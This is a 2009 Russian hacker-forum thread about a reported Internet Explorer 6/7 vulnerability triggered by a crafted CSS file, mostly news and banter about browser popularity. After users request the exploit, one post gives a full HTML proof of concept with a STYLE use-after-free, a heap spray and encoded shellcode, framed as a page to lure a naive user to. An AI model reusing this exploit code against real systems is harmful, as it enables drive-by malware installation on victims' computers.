Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Мировые новости (https://forum.antichat.xyz/forumdisplay.php?f=23)
-   -   В Internet Explorer обнаружена новая уязвимость (https://forum.antichat.xyz/showthread.php?t=158660)

hafiz 23.11.2009 15:10
В Internet Explorer обнаружена новая уязвимость
 
В веб-браузере Internet Explorer обнаружена уязвимость, позволяющая злоумышленникам устанавливать на компьютере жертвы вредоносное ПО.

В веб-браузере Microsoft Internet Explorer вновь обнаружена «дыра» - на днях неизвестный хакер оставил информацию о новой уязвимости в электронной рассылке сервиса Bugtraq. Очередное «открытие» позволяет злоумышленникам устанавливать на машину пользователя трояны или вирусы.

Для того чтобы воспользоваться уязвимостью, хакерам необходимо привести жертву на сайт со специально подготовленным CSS-файлом, в котором записан код JavaScript для запуска необходимой программы.

Компания Symantec, известная своими антивирусными программными продуктами, уже успела исследовать слабое место в защите браузера от Microsoft. По ее данным, опасность затрагивает Internet Explorer шестой и седьмой версий, при этом пока вредоносный код срабатывает далеко не всегда. Информация о том, что «дыра» представляет опасность для пользователей IE8, пока подтверждения не получила.

Специалисты Symantec утверждают, что пока уязвимость не получила применения среди киберпреступников. Впрочем, это всего лишь вопрос времени: Internet Explorer является популярнейшей на сегодняшний день программой для веб-серфинга. По некоторым данным, сейчас на долю IE6 и IE7 приходится около 40% всего рынка браузеров.

«Для того чтобы минимизировать вероятность атаки, необходимо обновить свои антивирусы, выключить поддержку JavaScript и заходить только на те сайты, в безопасности которых вы уверены, - до тех пор, пока Microsoft не устранит уязвимость», - советуют эксперты Symantec.

http://newsland.ru/

Belov 23.11.2009 15:23
жаль что неизвесный хакер не показал пример взлома ))

LiteMentaL 23.11.2009 15:29
40% юзают ИЕ ? ахахахахах... да вы чё, кто эту парашу юзает... Только разве что в своих целях а для обычного серфа мозилла, опера или хром...

root_sashok 23.11.2009 15:37
Даже больше 40%. Это статистика. Постепенно IE догоняет Firefox.

m0Hze 23.11.2009 15:57
Цитата:
Сообщение от LiteMentaL
40% юзают ИЕ ? ахахахахах... да вы чё, кто эту парашу юзает... Только разве что в своих целях а для обычного серфа мозилла, опера или хром...
Если бы дело обстояло не так,то небыло бы в природе связок,и их бы не обновляли вообще.Половина пендосов сидят за лицушными окошками,и юзают онли ИЕ.

Godfather Bulan 23.11.2009 16:32
В принципе ие8 достаточно неплоохо реализована. Достойная замен апредыдущим версиям. Но у меня нет желания переходить с оперы и исы на что-то другое... А дыры... дыры везде есть...

Andres 23.11.2009 16:45
IE - это вообще сплошная уязвимость.

.-=:KiLLing:=-. 23.11.2009 17:14
IE наверно только для VOC++ больше он вообще не нужен!

_Psi_ 23.11.2009 17:15
Больше популярность -> больше дыр. Фаерфокс это доказал.

X-RayBlade 23.11.2009 17:27
Цитата:
Сообщение от _Psi_
Больше популярность -> больше дыр. Фаерфокс это доказал.
Зато они добросовестно их закрыли и закрывают по мере обнаружения новых :)

FALTONICK 23.11.2009 18:25
Цитата:
Сообщение от LiteMentaL
40% юзают ИЕ ? ахахахахах... да вы чё, кто эту парашу юзает... Только разве что в своих целях а для обычного серфа мозилла, опера или хром...
улыбнул... посчитай сколько людей на винде сидят :rolleyes:

Op3r 23.11.2009 18:53
немного статистики
Согласно отчету компании Cenzic, на Firefox пришлось 44% всех обнаруженных за первое полугодие 2009 года «дыр» в браузерах. На втором месте оказался браузер Safari от компании Apple с 35% найденных уязвимостей, далее идут Microsoft Internet Explorer (15%) и Opera (6%). Авторы отчета, рассматривая ситуацию с безопасностью в интернете, отмечают, что на уязвимости браузеров приходится 8% интернет-угроз, на серверные уязвимости — 2%, ну а основные угрозы, целых 90%, исходят от веб-приложений.

Исследование также показало, что Sun Java, PHP и Apache продолжают оставаться в десятке лучших продавцов, которые при этом имеют самую высокую уязвимость (в первой половине 2009 года).

ixtor1 23.11.2009 19:06
не когда не нравился осел популярность осла монополизация макрософта

GRADUSНик™ 23.11.2009 20:14
Цитата:
Сообщение от LiteMentaL
40% юзают ИЕ ? ахахахахах... да вы чё, кто эту парашу юзает... Только разве что в своих целях а для обычного серфа мозилла, опера или хром...
Их юзают те, кто незнает как установить альтернативный браузер :D :D :D

aka_zver 23.11.2009 22:04
Цитата:
Сообщение от LiteMentaL
40% юзают ИЕ ? ахахахахах... да вы чё, кто эту парашу юзает... Только разве что в своих целях а для обычного серфа мозилла, опера или хром...
а связки на чём тестить ? ИЕ просто создан для этого)

White_Star 23.11.2009 23:57
Цитата:
Сообщение от GRADUSНик™
Их юзают те, кто незнает как установить альтернативный браузер :D :D :D
большинству,кто его использует,он устраивает,и они не видят смысла менять его..:)

Kamik 24.11.2009 02:33
ИЕ - браузер для домохозяек. На лисе и Опере сидят те, кто ЗНАЕТ, что такое интернет

Feksess 24.11.2009 13:57
Цитата:
Сообщение от LiteMentaL
40% юзают ИЕ ? ахахахахах... да вы чё, кто эту парашу юзает... Только разве что в своих целях а для обычного серфа мозилла, опера или хром...
Большое количиство чайников юзает ИЕ.Они просто не знают другие браузеры))

regnet 24.11.2009 14:03
Как уже не раз говорили. Internet Explorer нужен только для того,что б скачать нормальный браузер.

vvs777 24.11.2009 14:22
Цитата:
Сообщение от root_sashok
Даже больше 40%. Это статистика. Постепенно IE догоняет Firefox.
ну скажите блин откуда такая статистика?
у меня ни на одном сайте IE не берет больше 20%... точнее цифру не помню но сам факт.

может по количеству инсталлов - это вполне реально, но толку что он установлен и не используется.

Psi.X 24.11.2009 15:01
Эксплоит в студию!

combatsxx 24.11.2009 15:46
сплойт выложите))))

GamePr0graameR 24.11.2009 16:05
vvs777, а какой у вас сайт? Там домохозяек много? :-) Все, кто не домохозяйки уже давно перешли на Firefox. А самые продвинутые - на оперу :-)

043nKRuT0y 24.11.2009 19:22
Собственно сам сплоит (Стандартный документ куда нужно заманить наивного юзверя) :
Код:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML xmlns="http://www.w3.org/1999/xhtml">
    <HEAD>
<script>
            function load(){
                var e;
                e=document.getElementsByTagName("STYLE")[0];
                e.outerHTML="1";
            }
        </script>
        <STYLE type="text/css">
            body{ overflow: scroll; margin: 0; }
        </style>
       
        <SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
</script>
 
    </HEAD>
    <BODY onload="load()">
    </BODY>
</HTML>
Допущены синтаксические ошибки - видимо как защита от детей ...

GamePr0graameR 24.11.2009 19:44
Обнаружена новая опасность для Internet Explorer
Найдена новая уязвимость в Internet Explorer
В Internet Explorer новая уязвимость
Обнаружена уязвимость в Internet Explorer 7
В Internet Explorer - новая уязвимость

Млин... решето а не браузер
З.Ы Это из "похожих тем"

Psi.X 24.11.2009 22:37
043nKRuT0y
Авот *** это сплоит - на 6м ноль эффекта.
Походу это с секлаба, больше нигде не видел инфы....

Adekvatnyj 26.11.2009 16:36
Да что вы говорите! By Firefox people штоли напечатано?


Время: 03:47